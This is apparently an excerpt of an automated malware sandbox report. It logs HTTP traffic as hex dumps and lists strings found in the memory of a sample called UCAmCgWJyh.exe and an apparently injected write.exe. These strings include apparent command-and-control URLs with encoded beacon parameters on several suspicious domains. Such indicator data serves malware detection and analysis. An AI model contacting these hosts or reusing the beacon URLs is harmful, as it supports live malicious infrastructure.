b0 7f ef 59 8b d8 64 84 ae a3 ec 67 d3 75 a8 83 27 50 0a a2 46 69 ca ef 14 a1 c7 2e 3a 3f fd db f8 34 58 ec cc 57 f9 1e 43 90 fa e0 a1 82 91 ec 85 c7 8f 4e 91 32 92 e3 3e 64 0f 99 67 03 33 ee f0 b0 2a 4d b7 87 ac 36 0e 1f 32 04 2f e3 43 96 2f 19 67 f3 87 6c 5d 9c d7 c5 43 46 52 82 e7 40 4a 72 fa 8b e7 43 4a fc e9 80 33 eb 4f 87 8f 36 7f 3a fc fa fd 2e 7f ba 24 d3 bb 1a 49 39 92 da e8 5a 84 a0 82 66 88 c2 22 97 67 3e 64 83 a5 15 40 ee 21 fb ea 67 42 bc 77 9c 3a 54 28 3c b2 4e 6a f6 d5 7f 7f 42 57 ad d8 8a 15 e4 7a dd 46 d9 cb 9b 7d 36 9c 5c 2b 15 82 f4 20 fa 60 e8 be 01 e6 c6 06 5e 66 d1 cd ca 3f 97 1b cb 54 27 e3 49 38 30 a9 4f 71 bb ac 3b d4 31 26 63 70 97 e5 ad a1 1a f7 6b b8 d0 07 f4 c1 97 98 b6 22 e9 b2 ae 6e 4c d8 61 f0 fe 14 5e b7 71 72 dd 7a f4 5e 1a fd 3e 18 27 0e c8 3c 86 3f 03 76 b1 49 ff 7a ff fa 3f cc 07 27 f5 41 b6 97 38 24 c9 b5 52 6e 1d af 57 12 7e 5e 1b 63 1a 52 9d 8c c8 f6 4e 7d 2d de 61 1d 62 9e f2 14 59 2d f4 49 78 56 5f a8 59 72 d7 96 d7 2a 49 91 b5 52 a9 0f 78 0e 71 48 79 ca 93 6d 22 de a0 35 0e f0 51 ea 30 2f 7e 74 4e 5c 62 64 Data Ascii: 2d1b-QG0R\|"!\|1tkdj'c?[z/WIZcPgKuSV0MivuTlu{b0Bx^+D6a2PhjG.ef:~xY0.;NAM?_AQ8"9
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closex-powered-by: PHP/7.4.33x-litespeed-tag: 894_HTTP.404expires: Wed, 11 Jan 1984 05:00:00 GMTcontent-type: text/html; charset=UTF-8link: <https://tempatmudisini01.click/wp-json/>; rel="https://api.w.org/"x-litespeed-cache-control: no-cachecache-control: no-cache, no-store, must-revalidate, max-age=0transfer-encoding: chunkedcontent-encoding: brvary: Accept-Encodingdate: Tue, 08 Oct 2024 13:56:33 GMTserver: LiteSpeedData Raw: 32 64 31 62 0d 0a f0 d7 2d 8a aa da 0f 11 51 d4 87 00 8d 94 85 f3 f7 47 c8 30 f7 ff fe 52 ff ff db fc 7c ed a8 eb d8 d0 22 21 f0 18 1c 7c a6 31 b7 c3 74 ef 6b b2 b2 64 d8 d8 6a 84 a4 27 09 63 1f ea 3f 5b f5 7a b6 2f a7 57 c6 49 5a 63 89 af a7 0d 50 67 fb 4b b6 75 e2 53 56 81 04 a8 06 10 16 30 4d a7 ab ff 7f 7f 69 96 8b 76 b0 db a6 0b 75 84 8e e4 54 e9 a1 c2 0a ab 6c 75 ef 7b ef 9c fc 81 62 04 c5 08 8a 91 14 30 15 92 ed 42 86 fb ee 83 ff e7 0f 78 04 5e c9 8c 2b c9 44 85 36 f6 02 61 9b 32 b5 e3 d5 02 50 15 68 6a 85 47 bb c1 2e 65 8a 12 1f c3 b4 66 fb db f5 de 04 11 11 15 91 bc 0f 99 99 b6 b5 eb 3a 7e 78 86 00 89 59 92 80 9e 8d 12 30 f7 2e ba 3b 86 4e 1d bd ea d0 15 41 4d 3f be 5f c7 41 df d3 e2 c2 f5 51 38 8f a1 22 39 9f 1f e5 81 14 96 08 21 47 6e 45 3d af 8a ba 22 85 0d bd 77 a3 be 16 0a ab 1c 17 7d 5b 68 e6 cc de 04 3f fb 38 de ac 13 67 2a 3b 71 40 ba 59 f5 c1 38 94 e7 a3 18 cc 02 3f 9c 20 83 c2 dd 1b 71 40 d0 26 c0 01 b2 de fe e9 8b 4d 91 e7 5b 38 86 60 7d 99 65 01 3b 2b 42 d7 37 d2 4b 2d 79 ce b6 b1 4f 76 84 f6 b0 a2 3b 25 f5 33 38 54 d5 ac d1 9e 9e 85 fd 5a 42 7d 9c ed cb c1 0a 07 12 a1 c2 17 41 78 3d d2 5a 04 69 74 c6 73 07 f2 d2 b0 73 b7 6d c1 6f 88 cd c0 8d 65 b0 7f ef 59 8b d8 64 84 ae a3 ec 67 d3 75 a8 83 27 50 0a a2 46 69 ca ef 14 a1 c7 2e 3a 3f fd db f8 34 58 ec cc 57 f9 1e 43 90 fa e0 a1 82 91 ec 85 c7 8f 4e 91 32 92 e3 3e 64 0f 99 67 03 33 ee f0 b0 2a 4d b7 87 ac 36 0e 1f 32 04 2f e3 43 96 2f 19 67 f3 87 6c 5d 9c d7 c5 43 46 52 82 e7 40 4a 72 fa 8b e7 43 4a fc e9 80 33 eb 4f 87 8f 36 7f 3a fc fa fd 2e 7f ba 24 d3 bb 1a 49 39 92 da e8 5a 84 a0 82 66 88 c2 22 97 67 3e 64 83 a5 15 40 ee 21 fb ea 67 42 bc 77 9c 3a 54 28 3c b2 4e 6a f6 d5 7f 7f 42 57 ad d8 8a 15 e4 7a dd 46 d9 cb 9b 7d 36 9c 5c 2b 15 82 f4 20 fa 60 e8 be 01 e6 c6 06 5e 66 d1 cd ca 3f 97 1b cb 54 27 e3 49 38 30 a9 4f 71 bb ac 3b d4 31 26 63 70 97 e5 ad a1 1a f7 6b b8 d0 07 f4 c1 97 98 b6 22 e9 b2 ae 6e 4c d8 61 f0 fe 14 5e b7 71 72 dd 7a f4 5e 1a fd 3e 18 27 0e c8 3c 86 3f 03 76 b1 49 ff 7a ff fa 3f cc 07 27 f5 41 b6 97 38 24 c9 b5 52 6e 1d af 57 12 7e 5e 1b 63 1a 52 9d 8c c8 f6 4e 7d 2d de 61 1d 62 9e f2 14 59 2d f4 49 78 56 5f a8 59 72 d7 96 d7 2a 49 91 b5 52 a9 0f 78 0e 71 48 79 ca 93 6d 22 de a0 35 0e f0 51 ea 30 2f 7e 74 4e 5c 62 64 Data Ascii: 2d1b-QG0R\|"!\|1tkdj'c?[z/WIZcPgKuSV0MivuTlu{b0Bx^+D6a2PhjG.ef:~xY0.;NAM?_AQ8"9
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closex-powered-by: PHP/7.4.33x-litespeed-tag: 894_HTTP.404expires: Wed, 11 Jan 1984 05:00:00 GMTcontent-type: text/html; charset=UTF-8link: <https://tempatmudisini01.click/wp-json/>; rel="https://api.w.org/"x-litespeed-cache-control: no-cachecache-control: no-cache, no-store, must-revalidate, max-age=0transfer-encoding: chunkedcontent-encoding: brvary: Accept-Encodingdate: Tue, 08 Oct 2024 13:56:35 GMTserver: LiteSpeedData Raw: 32 64 31 62 0d 0a f0 d7 2d 8a aa da 0f 11 51 d4 87 00 8d 94 85 f3 f7 47 c8 30 f7 ff fe 52 ff ff db fc 7c ed a8 eb d8 d0 22 21 f0 18 1c 7c a6 31 b7 c3 74 ef 6b b2 b2 64 d8 d8 6a 84 a4 27 09 63 1f ea 3f 5b f5 7a b6 2f a7 57 c6 49 5a 63 89 af a7 0d 50 67 fb 4b b6 75 e2 53 56 81 04 a8 06 10 16 30 4d a7 ab ff 7f 7f 69 96 8b 76 b0 db a6 0b 75 84 8e e4 54 e9 a1 c2 0a ab 6c 75 ef 7b ef 9c fc 81 62 04 c5 08 8a 91 14 30 15 92 ed 42 86 fb ee 83 ff e7 0f 78 04 5e c9 8c 2b c9 44 85 36 f6 02 61 9b 32 b5 e3 d5 02 50 15 68 6a 85 47 bb c1 2e 65 8a 12 1f c3 b4 66 fb db f5 de 04 11 11 15 91 bc 0f 99 99 b6 b5 eb 3a 7e 78 86 00 89 59 92 80 9e 8d 12 30 f7 2e ba 3b 86 4e 1d bd ea d0 15 41 4d 3f be 5f c7 41 df d3 e2 c2 f5 51 38 8f a1 22 39 9f 1f e5 81 14 96 08 21 47 6e 45 3d af 8a ba 22 85 0d bd 77 a3 be 16 0a ab 1c 17 7d 5b 68 e6 cc de 04 3f fb 38 de ac 13 67 2a 3b 71 40 ba 59 f5 c1 38 94 e7 a3 18 cc 02 3f 9c 20 83 c2 dd 1b 71 40 d0 26 c0 01 b2 de fe e9 8b 4d 91 e7 5b 38 86 60 7d 99 65 01 3b 2b 42 d7 37 d2 4b 2d 79 ce b6 b1 4f 76 84 f6 b0 a2 3b 25 f5 33 38 54 d5 ac d1 9e 9e 85 fd 5a 42 7d 9c ed cb c1 0a 07 12 a1 c2 17 41 78 3d d2 5a 04 69 74 c6 73 07 f2 d2 b0 73 b7 6d c1 6f 88 cd c0 8d 65 b0 7f ef 59 8b d8 64 84 ae a3 ec 67 d3 75 a8 83 27 50 0a a2 46 69 ca ef 14 a1 c7 2e 3a 3f fd db f8 34 58 ec cc 57 f9 1e 43 90 fa e0 a1 82 91 ec 85 c7 8f 4e 91 32 92 e3 3e 64 0f 99 67 03 33 ee f0 b0 2a 4d b7 87 ac 36 0e 1f 32 04 2f e3 43 96 2f 19 67 f3 87 6c 5d 9c d7 c5 43 46 52 82 e7 40 4a 72 fa 8b e7 43 4a fc e9 80 33 eb 4f 87 8f 36 7f 3a fc fa fd 2e 7f ba 24 d3 bb 1a 49 39 92 da e8 5a 84 a0 82 66 88 c2 22 97 67 3e 64 83 a5 15 40 ee 21 fb ea 67 42 bc 77 9c 3a 54 28 3c b2 4e 6a f6 d5 7f 7f 42 57 ad d8 8a 15 e4 7a dd 46 d9 cb 9b 7d 36 9c 5c 2b 15 82 f4 20 fa 60 e8 be 01 e6 c6 06 5e 66 d1 cd ca 3f 97 1b cb 54 27 e3 49 38 30 a9 4f 71 bb ac 3b d4 31 26 63 70 97 e5 ad a1 1a f7 6b b8 d0 07 f4 c1 97 98 b6 22 e9 b2 ae 6e 4c d8 61 f0 fe 14 5e b7 71 72 dd 7a f4 5e 1a fd 3e 18 27 0e c8 3c 86 3f 03 76 b1 49 ff 7a ff fa 3f cc 07 27 f5 41 b6 97 38 24 c9 b5 52 6e 1d af 57 12 7e 5e 1b 63 1a 52 9d 8c c8 f6 4e 7d 2d de 61 1d 62 9e f2 14 59 2d f4 49 78 56 5f a8 59 72 d7 96 d7 2a 49 91 b5 52 a9 0f 78 0e 71 48 79 ca 93 6d 22 de a0 35 0e f0 51 ea 30 2f 7e 74 4e 5c 62 64 Data Ascii: 2d1b-QG0R\|"!\|1tkdj'c?[z/WIZcPgKuSV0MivuTlu{b0Bx^+D6a2PhjG.ef:~xY0.;NAM?_AQ8"9
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 08 Oct 2024 13:57:23 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 08 Oct 2024 13:57:26 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 08 Oct 2024 13:57:28 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 796date: Tue, 08 Oct 2024 13:57:31 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif;

Source: write.exe, 0000000B.00000002.3747327536.0000000005C22000.00000004.10000000.00040000.00000000.sdmp, UCAmCgWJyh.exe, 0000000D.00000002.3746863202.00000000039E2000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://tempatmudisini01.click/abla/?gP=R9BPGtjeoV0CDxCBeHwugo2BsPFWgaNdCqs
Source: UCAmCgWJyh.exe, 0000000D.00000002.3748863633.0000000004F8E000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.nmh6.site
Source: UCAmCgWJyh.exe, 0000000D.00000002.3748863633.0000000004F8E000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.nmh6.site/8qne/
Source: write.exe, 0000000B.00000002.3747327536.0000000005448000.00000004.10000000.00040000.00000000.sdmp, UCAmCgWJyh.exe, 0000000D.00000002.3746863202.0000000003208000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://6329.vhjhbv.com/4i87/?-L=kBMxZFRpAD6P&gP=tX1gPPm4vGDAfdGb/LV0WNIl4Jkrf3fdzqWbffI0WxOtalbv2UC
Source: write.exe, 0000000B.00000002.3749537044.00000000078EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: write.exe, 0000000B.00000002.3749537044.00000000078EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: write.exe, 0000000B.00000002.3749537044.00000000078EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: write.exe, 0000000B.00000002.3749537044.00000000078EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: write.exe, 0000000B.00000002.3749537044.00000000078EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: write.exe, 0000000B.00000002.3749537044.00000000078EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
